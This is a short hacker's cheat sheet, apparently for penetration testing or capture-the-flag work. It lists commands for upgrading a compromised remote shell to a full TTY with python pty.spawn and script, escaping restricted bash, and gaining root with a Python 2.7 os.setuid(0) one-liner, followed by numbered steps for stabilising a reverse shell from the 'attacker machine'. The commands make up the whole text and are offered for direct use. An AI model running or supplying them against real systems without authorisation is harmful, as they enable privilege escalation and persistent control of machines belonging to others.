full_shell

SHELL=/bin/bash script -q /dev/null

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python -c 'import pty; pty.spawn("/bin/bash")'

python3 -c 'import pty; pty.spawn("/bin/bash")'

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ESCAPING RBASH

python3 -c 'import os; os.system("/bin/sh");'

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PRIV ESC PYTHON 2.7

/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'


******SHELL STABILIZATION*******

FOR LINUX

On the remote machine, run 
1.    python -c 'import pty; pty.spawn("/bin/bash")' 
2.   press CTRL-z to put the session to the background.
Then on attacker machine run 
3.   stty -a 
Note the rows and columns (say they are 40 and 160 respectively for me!).
Now run,
4.   stty raw -echo ; fg
Press enter twice
now run,
5.   export TERM=xterm
use xterm-256color/xterm
After that, run 
6.   stty rows 40 columns 160 
to specify the correct size. 
You should now have a fully working shell, in particular vi/nano should work.